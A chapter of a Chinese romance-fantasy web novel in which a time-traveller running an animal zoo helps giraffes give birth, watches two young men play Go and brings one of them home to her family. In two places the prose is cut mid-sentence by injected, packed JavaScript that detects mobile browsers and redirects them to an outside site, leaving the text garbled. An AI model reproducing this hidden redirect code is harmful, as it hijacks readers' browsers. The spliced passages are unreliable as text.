要是直接抬脚朝着门口走,摆出一副不容拒绝的姿态,那就不是他的作风了。站在原地,面露微笑,等着看眼前的人还能说出什么理由,再细细拆解逐一击破,让对方再找不到任何可拒绝的点,最终主动退步,这才是他的一贯作风。 用当代网文人设词汇来试着概括,这大概就是……温润如玉的疯批感吧? “你愿意就跟来吧。”苏卿卿妥协了,心说自己满心满眼超额任务,心急如焚,可没有时间在这里玩推拉。 两人脚步匆匆,推开院门,一抬脸正对上扬起胳膊欲要敲门的高栖野。 对方明显也是被这巧合吓了一跳,手停滞在半空动也不动,三人于冷风中对视,湖中鸭子的叫声显得尤为明显。 得,三个和尚没水吃。 “高公子,你怎么回来了?”苏卿卿下意识脱口问出,又突然意识到当下局面想赶快结束话题,胡乱一摆手,“回头细聊,我有要紧事,先走一步。” 她加快脚步,侧身而出,高栖野满头雾水刚要跟上就被顾子珘拦住。 这人什么话都没说,只是微微倾身,抬眼直视,神色平静不起波动,占着身高优势压迫感十足,是什么意思很明显。 “行了,你们两个都给我好好呆在这,自我介绍或者打一架都随意。事情不复杂,我一个人搞得定。”苏卿卿说完没留下任何空隙,如飞般跑远。 “……” 顾子珘扭过头盯着高栖野,说来奇怪,不皱眉不撇嘴,却带着怨念,像是在说自己好不容易争取来的机会就这样被人搅和。 二人凝而不动,谁也不说话。 高栖野表情逐渐变得有点不自然,还打了个冷颤:这家伙刚刚脸上的温度没有这么低吧… 风都深觉尴尬加速飘过,星光稀疏,周身温感骤然下降。 “哎别气鼓鼓的,兄弟你哪的人啊,怎么之前没见过?”高栖野搓搓冻僵的手,全方位展现自己外向自来熟的一面,直接一胳膊把素未谋面的人揽过来,“走,咱进去聊几文钱的,正好我家马车还没来。” 顾子珘皱了皱眉,甩开肩上的胳膊,冷冷扫了这人一眼,让本就不富裕的温度更加彻骨,随后也懒得说些什么,直接朝院里走去,结果全然忘记看路,大风天吹来一堆细碎玩意儿,他不小心被地面滚过来的东西绊歪了身。 “哎哟!哪来的石头,要是把人绊倒怎么办。” 苏卿卿金鸡独立蹦跶两下,随后将罪魁祸首踢走,这时候耳边传来哼哼笑声,她扭脸瞧见黑猫带着一帮小弟趴在架子上沿,像复制粘贴一般齐齐把爪子缩在身体下面卧成好几团。 她正愁乌漆嘛黑的天找不到这黑猫呢,横着迈了两大步,单手拎起黑猫也不顾它张牙舞抓地炸毛:“走,时间紧任务重。” 人去可能会让长颈鹿受到惊吓,但同样身为动物的黑猫,反而有道理让它们安心。 “蠢材!怎么回事,又有人追你?” “听闻过长颈鹿吗?” “嗯,个子很高、智商不高的家伙。” “咱园来了两只,而且其中一个快要生产了。” “……喵?” 短短一句话把黑猫的CPU干烧了。 趁这快成精的家伙脑袋瓜卡顿,苏卿卿赶紧快步跑起来,并在心里下定决心要将锻炼身体提高体力提上日程。 园中有几处矮山,于安静中飘荡着似有若无的雾气,其中有一座被建设成猴山,当下猴王们估计在内享受晚饭,其他的山还处于凌乱不堪的未开发阶段,被高耸的树木简单围起来,那环境不适合任何动物生产。 飞速绕过猴山,苏卿卿愣了一瞬。 系统说得没错,果然有两只长颈鹿!那是世界上最高的动物,放到当代也是两层楼的高度,因此距离这么远都能一眼望到它们。 一猫一人跑过拱桥,到了矮山附近,树干树枝遮挡部分实现,于夹缝中观得漂亮的棕黄色菱形斑纹。 这两只精瘦的长颈鹿,它们站位一前一后,瞬间神色警惕起来,尖尖的耳朵敏感竖起,仿佛在评估四周的危险气息。 穿越前苏卿卿也是动物世界爱好者,据纪录片所说,长颈鹿于野外生产时最易受到干扰和威胁,所以它们在这个阶段中自身的敌意也非常重,她心想,还好跟来的只是只黑猫,要是老虎来了,恐怕是要进行一番艰难的解释,甚至有机会亲眼见识用脖子打架的画面。 黑猫一爪子拍向那不懂分寸胆敢拎起自己后脊皮的手,落地重获自由之后伸了个懒腰,蹲在原地冷眼旁观面前的两只庞然大物,不敢轻易靠近。 苏卿卿声音放得又轻又柔,伸出手掌缓步向前:“我没有恶意,你们需要什么帮助都可以交给我。”然后指了指地上快要融入阴影的黑猫,“这小家伙也是。” 这话她估计每见到新伙伴都要重申一次,让它们认同眼前语言相通的人类,讲出诉求,随后在帮助相处中拉近距离。 长颈鹿仍旧八风不动,保持安静静止的状态,只是望过来的眼神多了几分… …蔑视? 像是看惯了明知无法交流还总要上赶着跟动物对话的人类。 苏卿卿紧皱的眉头突然松开,想起来一件重要的事情。 ——长颈鹿被认为是最沉默的动物,它们的声音是很难听到的,甚至一直以来被怀疑没有声带。 也就是说根本无法通过语言与其沟通! 肢体动作在眼下的档口也无法实现,她靠近一步,对面后退一步,她若是再靠近一步,对面就准备扑上来用脖子抽人了。 “小黑,”她小声道,“只有你能让它们相信我了,帮帮忙,一会儿宝宝就要出生了!” 黑猫无奈,爪子用力轻盈跳到苏卿卿脑袋上:“喂,我也不知道是什么原理,这人类真能听懂咱们的话,可否先解决完眼下的问题,再细细解释。” 站在前面的长颈鹿回头与后方对视,随后向旁边迈了一步。 这算是协商成功,退一步海阔天空了。 准备工作开启之前苏卿卿先交代黑猫找个小弟去通知其他动物暂时不要靠近这边,然后才撸起袖子开始清理环境。 晚风渐起,目前园中并没有能容纳长颈鹿的室内环境,只能暂时委屈产妇呆在室外,重新点上四角花灯,摆放火炉控制温度,再迅速铺上厚厚的稻草。 公鹿渐渐放松警惕退至苏卿卿身后,表现出全盘交托的信任。 母鹿身体虚弱,缓缓走上稻草区,羊水破了之后仍然保持站立姿势。 苏卿卿自然知道动物不同于人类,在艰苦的非洲大地也能完成伟大的生产,可既然是在她的地盘,还是希望能在有限的条件下缓解母体的不适。 九九乘法表正着背了一遍,她紧张地直咬嘴皮,比公鹿的表情更扭曲,双手合十对着中外各个神明祈祷。 整个过程安静到不可思议,母鹿泪眼婆娑想必也正经历钻心的痛觉。 不多时,小长颈鹿出世。 它浑身湿漉漉地瘫倒在地,每一次呼气起伏都异常明显,但没有太多休息的时间,小长颈鹿一经出生便要学会走路,独自尝试挣扎几次都以失败告终,最后在母亲的舔舐鼓励下终于用尽全部力气摇摇晃晃站起,实在没有力气就用脖子抵靠在母亲的肚子上缓口气。 公鹿费力将头压得很低,低到能够用软软的耳朵轻拱苏卿卿,她因直面自然界中生命的力量,被震撼得忘记了呼吸,被提醒才意识到。 好险,差点憋死。 它们四肢皮肤非常紧致衬出华丽优雅的外观,这样的三只长颈鹿齐齐低下头,一道温婉柔和的声音响起。 “谢谢。” !!说话了! 何德何能啊! “不用谢,都是我应该做的!”随后,苏卿卿眉飞色舞带着它们朝独院走,沿途自顾自说了一大堆还将动物园的现状一通介绍,卖力得不行,长颈鹿东张西望,它们的身体决定了很大饮水需求量,可又不知道那河流是否允许直接饮用便一直按兵不动,苏卿卿心领神会,贴心地为它们指了水槽的方向。 风一吹,她擦了擦额头的冷汗,视线落在不远处独院大树剪影上。 - 夜色融融,中心湖面上万顷波光摇月碎,原本烘托氛围的花灯烛芯也快要燃烧殆尽,眼前渐渐黑沉下来。 独院中的参天大树少说也有百岁,树干盘根错节,夜风拂过,卷曲干枯得棕色树叶飘落到正下方的棋盘上,冒充棋子的梦想刚刚实现,下一秒便被人轻轻择走,于同样的位置放上一枚黑子。 “大晚上下棋,你俩也不怕瞎了眼。”苏卿卿吐槽道,刚回来就看到两道有椅子不坐、非得站着弯腰的身影,二位两耳不闻窗外事,视线黏在桌面上,仿佛隐形的屏障拔地而起,其内是处没有硝烟的战场。 她瞬间太阳穴抽疼,此情此景恰好回忆起刚穿越过来带惠惠和贤贤的感受,母胎solo无痛体验带娃日常,当时可是让她掉了不少头发。 那位于战场中央的围棋买来已久,原本想等园中辟出一处棋院试运营看看反响,还没来得及细细规划,暂时收起来摆在长廊里当了好几天的装饰,眼下这可算是首次磨合。 叹了口气,白雾消散,苏卿卿刚要关上门,抬手犹豫片刻直接作罢,转身朝院里走去。 里面比外面亮堂些,一串串灯笼作用聊胜于无,地上的影子摇摇晃晃分外明显,眼尖的苏卿卿瞥见那偏房后面露出来的上下晃动的老虎尾巴,许是它们听黑猫讲了全过程现在不敢贸然露面。 高栖野扭头看向苏卿卿,满面春风道:“哎,可算回来了,我教顾兄下棋呢,”他右手食指与中指合并在空中点了两下,“别的不敢说,之前在债务纠纷中本公子就是凭借这技艺总能扳回一城。” 嗯,这倒不是纯粹的吹牛。 苏卿卿的回忆就像个偌大的图书馆,还可以定时定点翻阅资料。 这高栖野是每个校园中都会存在的角色,属于除了学习是半个瓶子底逛荡,其他吃喝玩乐相关的任何事情全手拿把掐,有阵子全城掀起围棋热潮,他在好胜心的驱使下左右钻研,最终成功大名远扬,是京城中围棋爱好者都不远万里来讨教的程度。 一枚黑子落定。 “你输了。” 顾子珘平静说完,随手整理衣袖,落座后气定神闲喝杯中那仅剩丝丝缕缕热气的茶水,再次抬起眼眸时视线便越过近处呆若木鸡的人,落在苏卿卿那里。 棋盘上黑子乱中取胜,成功将白子吃住,出路全被拦截阻断,白子显然已无力回天。 苏卿卿对棋局完全不懂,但道理都大差不离,早前坐在同事旁边看世界杯也是纯纯看个热闹拍照记录疯狂球迷的反应,眼下这完全静态的脑力游戏也照样能通过察言观色判断一二。 淡定的赢家举手投足仿佛与生俱来不染纤尘,与大杀四方的墨色棋子碰撞出极强的割裂感。 这就是传说中的黑芝麻汤圆吗? “你你你你你……” 高栖野半天憋不出一句完整的话,低头查看棋局确定没有长气之法,抬头发现对面的人一根发丝都没乱,与今天在互动区那副失了魂的模样没有半点干系,他借着咳嗽回过神来,“这这这,这是什么棋路?大师教教我!” 苏卿卿听到这话,没忍住笑出声。 得,顾大师的名号这算坐实了。 这两人看来玩了许多回合,旁边孤零零的投壶比分也是足够悬殊。 堂堂高公子想来在不比财力的前提下此番收获了全面碾压。 不过说来奇怪,这顾大师平日与自己在独院中时总是一副淡淡不食人间烟火、对任何事情全然不感兴趣的模样,怎么今日在精神欠佳得状态下反倒调动起游戏积极性。 是遇到同为少年的高栖野兴趣相投才活泼起来的吗? 这道理有些熟悉,记着穿越之前她也…… 正想着,苏卿卿突然原地眩晕一瞬,直觉得有块冰从后颈一路滑到额头,那股天旋地转的感觉没有停留,反而极速消退回归正常。她食指点了两下自己的脑门,发觉自己有些记忆正在慢慢变得模糊。 这不算奇怪,毕竟大脑每时每分都在帮助人类清理没必要留存的回忆。 顾子珘眼球转动,自动屏蔽眼前的人和声音,目光追着苏卿卿从棋桌旁到地面酒壶旁,然后继续盯着那呆愣愣原地出神的人。 “大师有没有窍门,”高栖野能屈能伸,双手合十笑着求道,“就一点点,剩下的我自行钻研。” 顾子珘坐得笔直,活像个定园神针,只可惜他的制胜妙招涵盖起来不出五个字【跟着感觉走】,但为了让这聒噪的人赶紧离开,还是胡诌出一句话。 “两个注意点。” “嗯,你说!”高栖野摸了摸身上,想起自己也不是那种会随身带纸笔的人,后悔一瞬随后决定用脑子记,眼神毅然决然盯着大师。 “不要高估自己。” “嗯…嗯?” 顾子珘又道:“不要低估别人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091485|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “嘿!”高栖野一拍手,“大师说得有道理,我这不是独孤求败太久,忘了人外有人的真理嘛。” 说完,还用胳膊肘碰了碰走过来的苏卿卿,“卿卿啊,咱俩来一局?” “可别,”苏卿卿果断拒绝,“我只分得清黑白两色,连这棋子一共有多少颗都不知道。” “我教你!” “我教你。” 苏卿卿:…… 两位大哥别闹了,我要开动物园,不是培养围棋国手! 院中正热闹,围墙外饮水归来的长颈鹿幽幽冒出头,大眼睛忽闪忽闪好像对里面的一切充满好奇。 高栖野“嚯”了一声,他走南闯北见惯了新鲜玩意,便也没有觉得这有多奇怪,更何况动物园里纳入了新动物是再正常不过的事情,他边摩挲下巴边仰头欣赏。 一个围棋一个长颈鹿,这公子哥早就把看看自家老虎的打算抛诸脑后。 苏卿卿扶额叹气,轻轻推了两下以示催促:“赶紧回去,在京城是不是忙出惯性了,好好照顾一下自己的黑眼圈吧。” “哎哎,急什么,”高栖野被推着往外走,还不忘回头依依不舍道,“顾兄,回头再一起切磋啊!” “嗯。” “卿卿,你也是,有需要尽管来找我。” “知道了知道了,”苏卿卿强调道,“提前说一声,我大概只有缺钱的时候会找你。” 高栖野甩袖哈哈一笑:“那也行啊,这小忙能帮上我也很知足。” 乱七八糟,东扯西扯,好不容易将高栖野送走。 道路上一派萧条,只有辆豪华马车渐行渐远。 苏卿卿认真检查园子左右门,并提前挂上隔天开园的木牌,驻足在右门旁的木板前细细查看每位游人的留言,满满好评,这才伸了个懒腰在心中默念试开园还算是顺利结束了。 心静下来,耳边外界吵闹的声音细数涌现,总算知道高中班主任说整个楼层属你们班最吵的时候的感受。 回来看到满院子的动物还有一个不慌不忙稳定得有点不正常的顾子珘,苏卿卿又站在门外与三只长颈鹿对视片刻。她尴尬抓了抓脸颊,十分不好意思地让它们在外稍等。 爪子摩擦地面的声音由远及近,下一秒其余动物们都簇拥过来,它们每天晚上在独院小聚已经成了习惯,苏卿卿有些感慨,这样真的好像家人一样。 “老大,它们是谁啊,从哪来的?”黄狗问。 凭空冒出来的。 “这么高真的看得见我们吗?会不会不小心踩到我。”花蛇道。 别人不知道,你倒是真有可能。 “我可以坐在它们背上玩吗?”老虎说。 你现在靠近半步有可能被踢成筛子。 …… 苏卿卿揉了揉太阳穴。 知道你们急,但是你们先别急。 “这是新伙伴——长颈鹿一家。好好相处,宝宝刚出生,别随便开玩笑,”苏卿卿累得腰酸背痛,赶紧坐到位置上,端起杯子一饮而尽,转移话题道,“今日试开园,你们觉得怎么样?” 她自然而然开口,完全没意识到这人与动物对话的画面完全落入旁边男人眼中。 “从没有同时见过这么多人类,一开始有点慌。”老虎短小的耳朵抖了两下,天生犀利的眼睛里泪光闪闪反倒像只巨大猫咪。 黑猫冷哼一声,用爪子捣腾耳朵:“无聊得很。” “这好像并非它本意。”顾子珘突然开口。 黑猫瞟了一眼那个胆敢猜测自己心里话的人类,回过头小声嘟囔:“今日倒是没有听见有人讲黑猫凶兆之类的蠢话……” 可以啊顾大师,不仅是人,连动物的心理都能猜透。 “对了,白狗伤哪里了?”老虎突然想起。 “没事,伤口处理好了,正在屋里暖炉旁边呼呼大睡呢。” 黄狗起身跑过来亲身演示,它原地转了两圈舔了舔自己的爪子:“伤在这里,很长一道……” “哎那个,”苏卿卿怕这动作会勾起顾子珘的回忆,忙打断道,“小黄你快回去吧,矮山就在互动区旁边,今夜留意着点长颈鹿宝宝。” 黄狗最喜欢被赋予任务的感觉了,连忙应声。 “我听说这个姓顾的人类也受伤了?”一只白鸽飞到顾子珘身边盘旋。 红色爪子和粉红色尖喙与白色羽毛……苏卿卿头一抽一抽的疼:“那个其他鸽子都飞回去了,你怎么还在这里,懂不懂团魂。” 花蛇反射弧刚刚跟上,细声细语道:“可他看上去……” “你…” 苏卿卿刚说一个字,花蛇就有眼色地闭嘴了,即便顾子珘压根听不懂。 动物们眉来眼去,只是肤浅下了定论:苏老大想跟那个人类独处。 “等一下。”苏卿卿叫住那齐齐转身向外走的背影。 “以后不必挤在这独院,外面都给你们修建了专门的房屋,配备的东西如果有不齐全的告诉我,我来添置上,还有啊,"她揉了揉额头,无奈叹气,“都该洗澡了啊,注意个人……注意各自卫生。” 将动物们送到院门口的时候,又将它们一一介绍给长颈鹿,不过这过分安静的动物只是俯下长长的脖颈表示友好,其他动物也奇怪地安静下来,就连平时最吵闹的黄狗也只是靠近温柔地用脑袋蹭了蹭。 苏卿卿对此很满意,这支聒噪的队伍里是得有一个稳重的角色。 虽然再稳重都稳不过那位姓顾的。 她关好门后尴尬轻咳几声:“真…真是个漫长的晚上,快些休息吧。” 好累,眼皮好重,这次是真的想休息了。 顾子珘依旧神清气爽如早晨刚起时那般,他指了指旁边大树下,刚刚夜色朦胧苏卿卿便没留意,那平日光秃秃的泥土,现在…… 不还是光秃秃的嘛! 苏卿卿又累又困,但好奇心过盛还是不甘心走近低头认真研究,眯着眼睛绕了完整的一圈,确定自己没有错落任何一根杂草。 也许是睡觉心切,她灵光一闪脱口而出:“种子?” 顾子珘一愣,突然爽朗地笑了两声,随后点头道:“猜对了。很久之前买的花种,如果它们够顽强,就能破土而出,与我们相遇。” 啧啧啧,古代文艺谜语人。 放在当代也是难以接触的类型,但奈何他实在俊美,眉眼深远,五官冷隽,放松时气质谦逊温和如羊脂美玉,认真时又能瞬间如鹰隼般锋利,整体来讲很是打眼。 只是这衣服…… 苏卿卿抱着胳膊,诚恳道:“我觉得你可以再买身衣服。” 顾子珘心领神会:“明日一起去集市?” “好!但我还要回村子一趟。”苏卿卿看着眼前的人,有些纠结,正准备在心里重新规划时间。 “没关系,我与你一起。”顾子珘说完在对面人担忧的眼神下浅浅一笑,“不怕,近几日那些人不在。” 14. 编得不错 - 转日午时,天空明净。 村庄青石小路两侧的石子墙不规则堆叠,在阳光和高木的合力作用下影影绰绰,耳边除了时起时无的风声还有池塘的水声。 冬天到来之前景物正是如此充满活力,漫长且寒冷的时间过后,生机因子就像喝下一口气泡水般开启复苏,空气中飘散每户院中菜圃潮湿泥土的气息,不少人家从上午就张罗着午饭,炊烟袅袅,香飘十里。 苏卿卿自打搬到动物园中独院居住,几乎每天忙得脚不沾地,不管是身体还是心理都抽不出空闲,虽说过程中也差人往家里送过钱物蔬果,但到底与本人不同。 现在才有种打工人赚钱领第一月工资回家的实感。 破败不堪的院门已经修缮完好,迎面走过,一时间竟然有些认不出这是自家。 白鸽脚上绑着空信筒于上空盘旋,栅栏门被推开发出吱呀响动,蹲在菜地旁边的惠惠和贤贤正玩得不亦乐乎,回过头看清来人后便一溜烟飞奔过来抱着苏卿卿的腿,仰着脑袋笑道:“嘿嘿,姐姐回来啦!” 叽叽喳喳欢迎仪式过后,惠惠的小眼神瞟向眼前空无一物的手,又暗自左右寻觅。 最后发现裹着点心的油纸包都在姐姐身后的高个男子手中,刚要伸手去取,不经意与之对视,又瞬间畏缩。 苏卿卿没忍住轻笑起来,这两个小不点,还知道遇强示弱呢。 殊不知,那位孩子们眼里的“强气场”正在心中纠结自己该先迈左脚还是右脚,今日衣着可有不妥,一捆的点心如何平均分给两个小孩,稍后见到长辈该如何行礼,入座时应在卿卿左侧还是右侧…… 想着想着,他喉结便紧张得上下一滚动。 刘氏哼着小调,一手一个盘子缓步走出厨房,她最近被闺女送来的吃食五花大补,气色好得不行,只有膝盖的旧疾恐怕难以痊愈,走动时稍显吃力,但这并不会影响她半分好心情。 她逆光眯起眼睛,朝着门口招手:“怎么都站着不动,快……” 话音戛然而止。 刘氏视线黏在自家三个宝贝后方的那位气质不凡的陌生男子身上。当然,也注意到那人注视着自己女儿后脑勺的眼神,可比之前嘴贫的高公子显得更为端正深情。今天是什么日子,怎么会两个人一起回来呢?想到这些问题,她不由得低头长长叹出一口气。 呀,今天这饭做得还是草率了些。 苏卿卿没留意前面和后面两块庞大的内心戏,半蹲下来左手牵惠惠右手牵贤贤,又晃了晃两个小孩的土豆手:“你们也太过分了,偷瞄得这么明显,口水都要流出来了喔,先吃饭,这点心下午再吃好不好?” “好!” 她往里走了两步,又回头给顾子珘递了个眼神,“顾大师愣什么神呢,跟上来呀。” “嗯…好。” 还是,还是先迈右脚吧。 长方木桌上摆着颜色形状都极不统一的碗碟,颜色鲜丽的菜品数量不多,却也不像从前那般随意,分出主菜与配菜,还进行了具有仪式感的摆盘。 在外务工的群体中流传着一个神奇的效应,那就是高价购买的或是自己亲手制作的菜肴就算再美味都找不到家里独有的饭香,在这点上苏卿卿向来体会不深,没想到竟然会在穿越之后触动到这根生了锈的弦。 刚要动筷,只听到两声咳嗽,家中长辈总要多说两句,尤其是在这‘特别’的日子。 “那个…我先介绍一下,”苏卿卿接收到老母亲的眼神信号,两手掌心朝上向左一伸,“他叫顾子珘,我的朋友。”说完短短一句话介绍之后,她继续美滋滋拿起筷子准备享用美食。 天地可鉴,不是她不愿意多说几句,是真的啥也不知道哇! 反观顾子珘就显得稳重很多,先是礼数周全向在座其他三人一一行礼,然后张口不仅赞美了村里的景色,还顺势介绍了目前动物园的基本情况,最后表明自己会全力保护好动物园的所有,一番头头是道的讲话听得刘氏眼睛都睁大了,嘴角的笑意就没下去过。 苏卿卿右手托着脸只是无语,心说平日那沉默寡言的派头怎么突然一百八十度反转了,而且昨日这人跟高栖野也是如此活跃,还玩了不少碰都不碰的游戏来着。 难不成真是只有跟自己在一块的时候才立话少人设? “贤贤,”惠惠用食指杵了两下旁边的妹妹,压低声音道,“咱们好像要有大姐夫了。” “昂?”贤贤嘴角粘着白米粒,眼神呆呆的,脑子卡顿了一会儿,随后边砸吧嘴边思考。 噗!咳咳! 苏卿卿被呛着,狂咳起来,捶胸顿足,心说这辈子就没听到过这么大声音的悄悄话。 刘氏大概也听到了,开心得不行,童言无忌向来说的都是实话,她马上眼疾手快给惠惠夹了块鸡腿以示奖励。 苏卿卿:?? 好像有点误会。 苏卿卿怕越描越黑,雪球越滚越大,于是先没有多言闷头吃了一口饭,却也不自觉与家人同流合污,余光扫向一旁。 顾子珘五官搭配确实看得出来女娲娘娘认真的态度,他一双狐狸眼向上翘起的弧度恰到好处,不仅不过分邪魅,反而带着种英气,清冷感十足的眉峰能拒人于千里之外,可又偏偏于眼尾长了颗泪痣适度点缀出专一深情的一面,皮肤白皙,长发垂落,气质清雅,但好像只要束起发冠就是一派天然的少年意气。 都说人靠衣装马靠鞍,现在他没有华丽服饰的加持也足够引人瞩目,确实是广大妈妈们喜欢的类型。 当下的情况在穿越之前没经历过,但可看过不少家长里短的电视剧,通常女主角这时候都会狡辩一下。 “他是我动物园的帮工。”苏卿卿边嚼花生边道。 “你这又是把哪家好孩子拐去当劳力了。”刘氏说着说着,突然话锋一转,“不过有个伴儿也好,都一家人,吃菜吃菜别拘束呀。” “一家人?”苏卿卿先是一愣,随后低头偷偷发笑。 她觉得挺有意思,好像自己曾经某部分想与电视剧中不懂事非要跟父母吵架的女主角灵魂互换的愿望得以实现了。 这种明显撮合的小心机,别说,还有点可爱。之前一定是病弱影响了老母亲拔剑的速度。 苏卿卿咽下嘴里的饭,放下筷子,摇头感叹:“他可是个大能人,在京城帮助小商小贩出谋划策,无一不通,新兴店铺拔地而起人人称妙,后来好多富商追着求着想要招揽他,可人家对追名逐利根本没兴趣,在京城呆腻了之后退到县城,当下可能是觉得我这动物园比较有发展前景,主动提出要来帮忙的,可不是我拐来的啊。” 天花乱坠好一通夸赞,刘氏自从之前见着县城出了名的富商之子高栖野之后,辨认胡说八道的阈值降低,直接听信了这番话,满眼震惊,直到被小孩用奶音询问才回过神来,跟坐在旁边似懂非懂的惠惠和贤贤用简单的话解释。 这时候顾子珘微微倾身,用仅两个人能听到的音量:“编得不错。” 语气里还带着明显笑意。 苏卿卿:…… 饭后温度不冷不热,正是最舒适的阶段,两个妹妹那股子陌生劲儿经过一顿饭已经完全褪去,尤其在得知这人厉害到可以买到京城所有点心的时候更是吵着闹着缠着帅哥到院中游戏,苏卿卿也正好抽空单独和刘氏交谈。 “试开园,你们怎么没来玩玩呢?” 刘氏抬手指了指桌面叠好的信,咧嘴一笑:“瞅见了,但我的这个腿昨日有些不方便,还是没去,怕添乱嘛。” 苏卿卿知道刘氏平日很少把自己的不适挂在口头,能忍则忍,是个令人头疼的习惯,现在既然已经提出来,那想必昨天已经到了非常严重的地步。 接着她又在聊东聊西的过程中了解到,不仅是刘氏,村里其他人家都会有各种各样的问题而无法彻底放松下来去动物园游玩,就算降价优惠也不是每户都能承担的,全部免费又会引起村外游客的不满,还是需要做到一碗水端平。 更何况,县城乃至京城里的人性格迥异,某部分爱挑刺且自我感觉良好的家伙不是村里百姓吃得消的或是想接近的。 皱眉凝神,脑子里的‘经营策略簿’缓缓翻页。 果然现在这个版本格局还是太小,只限在动物园内部而并没有将村庄和土路规划在内。 苏卿卿好像有某种应激系统,情急与压力之下能很快想出解决办法,可能是高强度工作留下的后遗症,真不知道该说是优点还是缺点。 其实在今天与顾子珘乘车到村头的时候就有过灵光一闪的瞬间。动物园中有条路径叫【小马交通】,主打无人驾驶的马车自动领略沿途风光,只要能够将其扩大范围,也许有机会能够带动村中经济发展。 “想什么呢?”刘氏问。 “没什么,您放心休养,其他的事情我有办法解决。” “哎呦我没什么不放心的,你才应该休息休息脑袋。”说着,刘氏轻轻点了两下苏卿卿的脑门,“对了,这位顾公子怎么认识的,别又是趁人受伤捡回来的吧。” ……好像还真是。 “走在街上投缘聊了两句,便就认识喽。” “他家在何地?” “京城顾府。” “唔,没听说过,但感觉挺气派。”“身高多少?” “大概八尺有余。” “也同你住在动物园中?他不害怕那些猛兽吗?” “…这貌似不是重点,不过他不怕。” …… 不多时,苏卿卿从屋里走出来的时候感觉自己少了一半灵魂,抬头看到那被审问的对象就像田间的稻草人,摊开手立在原地,身周围着两只叽叽喳喳的小麻雀,一只叫惠惠一只叫贤贤。 “顾大师,走啦。”苏卿卿灵魂复位,跳下一层石阶。 “这么快就要走,我们要和大姐夫一起玩,再待一会儿嘛。” “大姐…夫。他有事!” 这都什么事啊,完全被带跑偏了…… 她见两个妹妹依依不舍的小模样,伸手指着厨房:“点心放台面上了,别都吃了,记得给娘留几块。” 转移注意力这招数,屡试不爽。 麻雀飞走之后,稻草人也能很好的放松下来。顾子珘想起刚刚的对话就不禁抿唇偷笑,然后凑近请示:“你先在车旁等我一下。”然后指了指房内,意思是要去礼貌道别。 “嗯,也好。”苏卿卿心想这样更能让刘氏放心,便点了点头。 出门仰头深呼吸几口,柔和的风惬意飘过,苏卿卿抬手将碎发捋整齐,今日不同往日的是,她特意化上淡妆好让自己看上去气色好一些,在明媚的阳光下那些浅薄的修饰像是被完全褪去,不足挂齿。 她属于少女感十足的长相,单看如精灵般的五官都能感受到满满活力,明眸皓齿,清丽脱俗。 虽然心里早就掉进钱眼,在不为人知的角落执着且俗不可耐。 “慢吞吞的,怎么还不出来?” 石头墙外面的拐角处,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091486|195439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身上下麻布衣裳,打扮堪称入乡随俗典范的强壮男子先行一礼,随口开口道:“大人,那伙人已经清理干净,但这里怕是不安全,需得尽快动身离开。” 说完,这名手下保持低头的姿势等待对方下达新命令。 “知道了。”顾子珘说完正要朝着马车的方向迈步。 “大人?需不需要我尽快打探出下一处落脚点,然后……”一个合格的手下就是应该学会主动给自己找事做。 “不必了,你先在这处村子里,”说完,顾子珘指了指身侧的院子,“注意帮我多留意这家人。” “怎么,难道她们有问题?”手下非常警惕靠近石头墙,于缝隙中窥见两个手捧点心转圈玩“你追我赶”游戏的小孩子,看上去危险系数并不高。 不过今日也有很多组织为了降低防御心理选用幼童,不愧是大人,眼力毒辣,跟那女子成天呆在一起也是计划中的一环。 “没有问题。她们是卿卿的家人,平日里帮忙多照顾一下。”他又望了望不远处还在等待,甚至无聊到在跟马对话的苏卿卿,忙道,“先不说了,我还要去买衣服。” 手下:…… “哦,对了。”顾子珘突然停住脚步。 手下:! “改日等营业的时候可以来动物园,没有优惠,买全价票。” 手下:? - 市集中人流如织。 经过昨日开园,再加上人们一传十十传百的功力,苏卿卿几乎成为了大家都认识并且见着就要上来寒暄几句的存在,在县城范围内的影响力足以直接对标电视剧里的国民闺女。 走三步停一步,走五步退一步。顾子珘也不急,就这样在一旁陪着。 缓慢行进的过程中,两人再次路过那条熟悉的巷口。 苏卿卿突然意识某件事,扭头问道:“你不用遮挡一下脸吗。” “嗯,没事。”顾子珘回答得语气平平,像是此事与他毫无关系。 什么没事啊,路上的女子都在似有若无朝这个方向看,扇子挡住嘴也看不出在念叨些什么,有的光明正大,有的偷偷摸摸,视线压力从四面八方施加过来。 顾子珘像是也察觉到了这些,沉了口气,随后不经意间肩膀靠近过来。 他刚想耳语两句,恰逢道路右侧新店铺开业,鼓乐宣天,噼里啪啦的鞭炮猛地炸起,震耳欲聋。 顾子珘自己被突如其来的动静吓了一跳,被烟雾呛得边咳边下意识朝店铺方向迈步,正在苏卿卿眯着眼睛好奇这人是不是想去凑热闹的时候,忽然有个不大的力将她向左一拽。 原来只是要换个位置。 苏卿卿刚想笑,但是感觉到那些落到自己身上的视线时又觉得也不太好笑,赶忙拽着人的袖子快步离开。 就这样,他们这回头率很高的组合终于走到成衣领域内。 这地方苏卿卿之前完成孔雀任务的时候来过,一回生二回熟,便也不再晕头转向,直接朝着成衣店铺的门口走去。 眼下人们大多聚集于市集中段,这里倒显得有些冷清。 织行的掌柜已经换成眼熟的匠人,坐在门里翘起二郎腿,因为上次的事情实在令人记忆深刻,掌柜眯着眼睛忙着手里的活儿抬头一晃路过的人就认出来是谁,忙拍拍手上的灰出来招呼。 